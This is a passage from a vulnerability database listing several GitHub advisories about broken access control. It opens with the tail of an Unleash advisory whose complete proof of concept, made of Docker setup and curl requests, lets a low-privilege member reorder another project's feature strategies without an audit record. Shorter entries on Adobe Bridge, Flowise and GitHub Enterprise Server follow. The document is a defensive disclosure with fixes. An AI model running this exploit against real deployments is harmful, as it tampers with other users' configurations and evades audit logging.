change is absent from the victim project\u0027s audit/event history (in the lab the successful cross-project write produced no `feature-strategy-update` event for the victim feature at all), hampering detection and forensics.\n\n## Proof of Concept (complete \u2014 runs on 127.0.0.1 only)\n\nLab only. Everything binds to `127.0.0.1`; no hosted instance is touched. Requires Docker.\n\n### 1. Start PostgreSQL and Unleash v8.0.0\n\n```bash\ndocker network create unleash-poc\n\ndocker run -d --name unleash-pg --network unleash-poc \\\n  -e POSTGRES_DB=unleash -e POSTGRES_USER=unleash -e POSTGRES_PASSWORD=unleash \\\n  postgres:16-alpine\nsleep 8\n\ndocker run -d --name unleash-srv --network unleash-poc -p 127.0.0.1:4242:4242 \\\n  -e DATABASE_HOST=unleash-pg -e DATABASE_NAME=unleash \\\n  -e DATABASE_USERNAME=unleash -e DATABASE_PASSWORD=unleash -e DATABASE_SSL=false \\\n  -e INIT_ADMIN_API_TOKENS=\u0027*:*.unleash-insecure-admin-api-token\u0027 \\\n  unleashorg/unleash-server:8.0.0\nsleep 25\ncurl -s http://127.0.0.1:4242/health    # {\"health\":\"GOOD\"}\n```\n\n### 2. Simulate a Pro/Enterprise (multi-project) deployment\n\nPer-project roles and \u003e1 project are Pro/Enterprise features; the official OSS image hard-pins requests to the `default` project via an unrelated edition gate (`resolveIsOss`). To reproduce the cross-project dimension on the public image, lift only that edition gate (this does NOT touch the vulnerable `set-sort-order` code path). On a real Pro/Enterprise instance this step is unnecessary \u2014 multiple projects already exist.\n\n```bash\n# Force resolveIsOss() to return false (== \"this is a Pro/Enterprise deployment\").\ndocker cp unleash-srv:/unleash/dist/lib/create-config.js /tmp/cc.js\npython3 - \u003c\u003c\u0027PY\u0027\ns=open(\u0027/tmp/cc.js\u0027).read()\nold=\"\"\"    return testEnvironmentActive\n        ? (isOssOption ?? false)\n        : !isEnterprise \u0026\u0026 uiEnvironment?.toLowerCase() !== \u0027pro\u0027;\"\"\"\nassert old in s\ns=s.replace(old,\"    return false; // PoC: simulate Pro/Enterprise deployment (multi-project enabled)\")\nopen(\u0027/tmp/cc.js\u0027,\u0027w\u0027).write(s)\nprint(\"patched edition gate\")\nPY\ndocker cp /tmp/cc.js unleash-srv:/unleash/dist/lib/create-config.js\ndocker restart unleash-srv \u0026\u0026 sleep 22\n```\n\n### 3. Seed two projects (`victim`, `attacker`) and link them to environments\n\n```bash\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO projects (id,name,description) VALUES (\u0027victim\u0027,\u0027Victim Project\u0027,\u0027v\u0027),(\u0027attacker\u0027,\u0027Attacker Project\u0027,\u0027a\u0027);\"\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO project_environments (project_id, environment_name) VALUES\n   (\u0027victim\u0027,\u0027development\u0027),(\u0027victim\u0027,\u0027production\u0027),\n   (\u0027attacker\u0027,\u0027development\u0027),(\u0027attacker\u0027,\u0027production\u0027);\"\n```\n\n### 4. Create the victim feature with two strategies, and an attacker feature\n\n```bash\nB=http://127.0.0.1:4242; ADMIN=\u0027*:*.unleash-insecure-admin-api-token\u0027\nH=\"-H Authorization:$ADMIN -H Content-Type:application/json\"\n\ncurl -s -X POST $H $B/api/admin/projects/victim/features -d \u0027{\"name\":\"victimFlag\",\"type\":\"release\"}\u0027 \u003e/dev/null\nS1=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n       -d \u0027{\"name\":\"flexibleRollout\",\"parameters\":{\"rollout\":\"10\",\"stickiness\":\"default\",\"groupId\":\"victimFlag\"}}\u0027 \\\n     | python3 -c \"import sys,json;print(json.load(sys.stdin)[\u0027id\u0027])\")\nS2=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n       -d \u0027{\"name\":\"default\",\"parameters\":{}}\u0027 \\\n     | python3 -c \"import sys,json;print(json.load(sys.stdin)[\u0027id\u0027])\")\necho \"victim strategies: S1=$S1 (sort 0)  S2=$S2 (sort 1)\"\n\ncurl -s -X POST $H $B/api/admin/projects/attacker/features -d \u0027{\"name\":\"attackerFlag\",\"type\":\"release\"}\u0027 \u003e/dev/null\ncurl -s -X POST $H $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies \\\n     -d \u0027{\"name\":\"default\",\"parameters\":{}}\u0027 \u003e/dev/null\n```\n\n### 5. Create a low-privilege attacker user (`Member` of `attacker` ONLY, no role on `victim`)\n\n```bash\n# Viewer root role (id 3) -\u003e no project write anywhere by default.\ncurl -s -X POST $H $B/api/admin/user-admin \\\n  -d \u0027{\"email\":\"mallory@example.com\",\"name\":\"Mallory\",\"rootRole\":3}\u0027 \u003e/dev/null\ncurl -s -X POST $H $B/api/admin/user-admin/2/change-password \\\n  -d \u0027{\"password\":\"Str0ng-PoC-pass!9x\"}\u0027 \u003e/dev/null\n\n# Grant the project \"Member\" role (id 5, includes UPDATE_FEATURE_STRATEGY) on \u0027attacker\u0027 only.\ndocker exec unleash-pg psql -U unleash -d unleash -c \\\n \"INSERT INTO role_user (role_id, user_id, project) VALUES (5, 2, \u0027attacker\u0027);\"\ndocker restart unleash-srv \u0026\u0026 sleep 22     # pick up the seeded role\n```\n\n### 6. Run the attack\n\n```bash\nB=http://127.0.0.1:4242; ADMIN=\u0027*:*.unleash-insecure-admin-api-token\u0027\nCJ=/tmp/mallory.cookies; rm -f $CJ\n\n# Log in as the low-priv user (Member of \u0027attacker\u0027 only).\ncurl -s -c $CJ -o /dev/null -X POST -H \u0027Content-Type: application/json\u0027 \\\n  $B/auth/simple/login -d \u0027{\"username\":\"mallory@example.com\",\"password\":\"Str0ng-PoC-pass!9x\"}\u0027\n\nshow() { curl -s -H \"Authorization:$ADMIN\" \\\n  $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \\\n  | python3 -c \"import sys,json;[print(\u0027   \u0027,s[\u0027id\u0027],\u0027sort\u0027,s[\u0027sortOrder\u0027]) for s in json.load(sys.stdin)]\"; }\n\necho \u0027--- victim/production BEFORE ---\u0027; show\n\necho \u0027--- [negative control] Mallory -\u003e VICTIM url directly (expect 403) ---\u0027\ncurl -s -o /dev/null -w \u0027    HTTP %{http_code}\\n\u0027 -b $CJ -X POST -H \u0027Content-Type: application/json\u0027 \\\n  $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies/set-sort-order \\\n  -d \"[{\\\"id\\\":\\\"$S1\\\",\\\"sortOrder\\\":99}]\"\n\necho \u0027--- [attack] Mallory -\u003e ATTACKER url, body = VICTIM strategy ids (expect 200) ---\u0027\ncurl -s -o /dev/null -w \u0027    HTTP %{http_code}\\n\u0027 -b $CJ -X POST -H \u0027Content-Type: application/json\u0027 \\\n  $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies/set-sort-order \\\n  -d \"[{\\\"id\\\":\\\"$S1\\\",\\\"sortOrder\\\":42},{\\\"id\\\":\\\"$S2\\\",\\\"sortOrder\\\":7}]\"\n\necho \u0027--- victim/production AFTER ---\u0027; show\n```\n\n### Observed output\n\n```\n--- victim/production BEFORE ---\n    01KTYWRZM7ACCTQKPJJCXJB24R sort 0\n    01KTYWRZMTAN6WAZBQ6CN0QY4T sort 1\n--- [negative control] Mallory -\u003e VICTIM url directly (expect 403) ---\n    HTTP 403\n--- [attack] Mallory -\u003e ATTACKER url, body = VICTIM strategy ids (expect 200) ---\n    HTTP 200\n--- victim/production AFTER ---\n    01KTYWRZMTAN6WAZBQ6CN0QY4T sort 7\n    01KTYWRZM7ACCTQKPJJCXJB24R sort 42\n```\n\nThe negative control proves RBAC correctly denies Mallory a *direct* write to `victim` (403). The attack proves that by naming her own `attacker` project in the URL she passes RBAC, and the victim project\u0027s two strategies are reordered (sort 0/1 \u2192 42/7, i.e. the evaluation order is flipped) \u2014 a write to a project she has no role on. A check of the events table after the attack shows no `feature-strategy-update` event was recorded for `victimFlag`, so the tampering is absent from the victim\u0027s audit trail.\n\n### Cleanup\n\n```bash\ndocker rm -f unleash-srv unleash-pg; docker network rm unleash-poc\n```\n\n## Remediation\n\nIn `unprotectedUpdateStrategiesSortOrder`, bind every body-supplied strategy ID to the URL context before writing. Two equivalent fixes: (1) fetch each strategy by ID and call the existing `validateUpdatedProperties(context, strategy)` guard (the same one `updateStrategy`/`patchStrategy`/`deleteStrategy` already use) so a mismatched `projectId`/`featureName` throws; or (2) reject any `sortOrders` entry whose ID is not present in `existingOrder` (the set of strategy IDs that genuinely belong to `{project, featureName, environment}`), which the function already computes. Additionally, scope the store write \u2014 `updateSortOrder` should constrain the `UPDATE` with the project/feature/environment (or only operate on IDs already validated to be in-context) rather than updating purely by primary key. Fixing the binding also corrects the audit-log attribution, since the mutated strategies will then always belong to the URL context the event is built from.\n\nPlease credit 5ud0 / Tarmo Technologies.",
  "id": "GHSA-5ffh-6f9q-5hhr",
  "modified": "2026-09-22T20:36:39Z",
  "published": "2026-09-22T20:36:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/security/advisories/GHSA-5ffh-6f9q-5hhr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/commit/43e8db37b846921c8a94db58b44935ecbd15d9d1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Unleash/unleash"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Unleash/unleash/releases/tag/v8.0.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unleash: A project member can reorder activation strategies belonging to any other project / environment (cross-project integrity write), bypassing project RBAC and the audit log"
}

GHSA-5FFV-CQPM-6P2J

Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-08-06 00:00
VLAI
Details

Adobe Bridge version 11.0 (and earlier) is affected by an out-of-bounds write vulnerability when parsing TTF files that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-21013"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-787",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-13T23:15:00Z",
    "severity": "HIGH"
  },
  "details": "Adobe Bridge version 11.0 (and earlier) is affected by an out-of-bounds write vulnerability when parsing TTF files that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
  "id": "GHSA-5ffv-cqpm-6p2j",
  "modified": "2022-08-06T00:00:37Z",
  "published": "2022-05-24T17:39:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21013"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/bridge/apsb21-07.html"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb21-08.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5FW2-MWHH-9947

Vulnerability from github – Published: 2026-04-17 21:35 – Updated: 2026-04-24 21:00
VLAI
Summary
Flowise: Unauthenticated TTS endpoint accepts arbitrary credential IDs — enables API credit abuse via stored credentials
Details

Summary

The text-to-speech generation endpoint (POST /api/v1/text-to-speech/generate) is whitelisted (no auth) and accepts a credentialId directly in the request body. When called without a chatflowId, the endpoint uses the provided credentialId to decrypt the stored credential (e.g., OpenAI or ElevenLabs API key) and generate speech.

Root Cause

// packages/server/src/controllers/text-to-speech/index.ts:58-64
} else {
    // Use TTS config from request body
    provider = bodyProvider
    credentialId = bodyCredentialId  // ← attacker-controlled credential ID
    voice = bodyVoice
    model = bodyModel
}

Docker Validation

POST /api/v1/text-to-speech/generate with arbitrary credentialId in body: endpoint processes request, sends SSE tts_start event, only fails when credential doesn't exist — proves code path runs without authentication.

Impact

  • Use victim's API keys (OpenAI, ElevenLabs, Azure, Google) without authorization
  • Burn API credits on the victim's account
  • Generate unlimited speech content at victim's expense
  • Combined with credential ID leak from Finding 2, this is trivially exploitable

Suggested Fix

Remove the TTS endpoint from WHITELIST_URLS or validate that the credential belongs to the chatflow being used:

// Only allow credentialId when it matches the chatflow's TTS configuration
if (!chatflowId) {
    return res.status(401).json({ message: 'Authentication required' })
}

References

  • packages/server/src/controllers/text-to-speech/index.ts lines 10-162
  • packages/server/src/utils/constants.ts line 41 (whitelist entry)

Credits

  • Shinobi Security - https://github.com/shinobisecurity
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41279"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T21:35:14Z",
    "nvd_published_at": "2026-04-23T20:16:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe text-to-speech generation endpoint (`POST /api/v1/text-to-speech/generate`) is whitelisted (no auth) and accepts a `credentialId` directly in the request body. When called without a `chatflowId`, the endpoint uses the provided `credentialId` to decrypt the stored credential (e.g., OpenAI or ElevenLabs API key) and generate speech.\n\n### Root Cause\n\n```typescript\n// packages/server/src/controllers/text-to-speech/index.ts:58-64\n} else {\n    // Use TTS config from request body\n    provider = bodyProvider\n    credentialId = bodyCredentialId  // \u2190 attacker-controlled credential ID\n    voice = bodyVoice\n    model = bodyModel\n}\n```\n\n### Docker Validation\n\n`POST /api/v1/text-to-speech/generate` with arbitrary `credentialId` in body: endpoint processes request, sends SSE `tts_start` event, only fails when credential doesn\u0027t exist \u2014 proves code path runs without authentication.\n\n### Impact\n\n- Use victim\u0027s API keys (OpenAI, ElevenLabs, Azure, Google) without authorization\n- Burn API credits on the victim\u0027s account\n- Generate unlimited speech content at victim\u0027s expense\n- Combined with credential ID leak from Finding 2, this is trivially exploitable\n\n### Suggested Fix\n\nRemove the TTS endpoint from `WHITELIST_URLS` or validate that the credential belongs to the chatflow being used:\n\n```typescript\n// Only allow credentialId when it matches the chatflow\u0027s TTS configuration\nif (!chatflowId) {\n    return res.status(401).json({ message: \u0027Authentication required\u0027 })\n}\n```\n\n---\n\n## References\n\n- `packages/server/src/controllers/text-to-speech/index.ts` lines 10-162\n- `packages/server/src/utils/constants.ts` line 41 (whitelist entry)\n\n## Credits\n- Shinobi Security - https://github.com/shinobisecurity",
  "id": "GHSA-5fw2-mwhh-9947",
  "modified": "2026-04-24T21:00:53Z",
  "published": "2026-04-17T21:35:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5fw2-mwhh-9947"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41279"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Unauthenticated TTS endpoint accepts arbitrary credential IDs \u2014 enables API credit abuse via stored credentials"
}

GHSA-5FWQ-2HQV-G62H

Vulnerability from github – Published: 2023-12-21 21:30 – Updated: 2023-12-29 18:30
VLAI
Details

Improper access control in all versions of GitHub Enterprise Server allows unauthorized users to view private repository names via the "Get a check run" API endpoint. This vulnerability did not allow unauthorized access to any repository content besides the name. This vulnerability affected GitHub Enterprise Server version 3.7.0 and above and was fixed in version 3.17.19, 3.8.12, 3.9.7 3.10.4, and 3.11.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-46646"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-21T21:15:08Z",
    "severity": "MODERATE"
  },
  "details": "Improper access control in all versions of GitHub Enterprise Server allows unauthorized users to view private repository names via the \"Get a check run\" API endpoint. This vulnerability did not allow unauthorized access to any repository content besides the name.\u00a0This vulnerability affected GitHub Enterprise Server version 3.7.0 and above and was fixed in version 3.17.19, 3.8.12, 3.9.7 3.10.4, and 3.11.0.",
  "id": "GHSA-5fwq-2hqv-g62h",
  "modified": "2023-12-29T18:30:29Z",
  "published": "2023-12-21T21:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46646"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.10/admin/release-notes#3.10.4"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.7/admin/release-notes#3.7.19"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.8/admin/release-notes#3.8.12"
    },
    {
      "type": "WEB",
      "url": "https://docs.github.com/en/enterprise-server@3.9/admin/release-notes#3.9.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.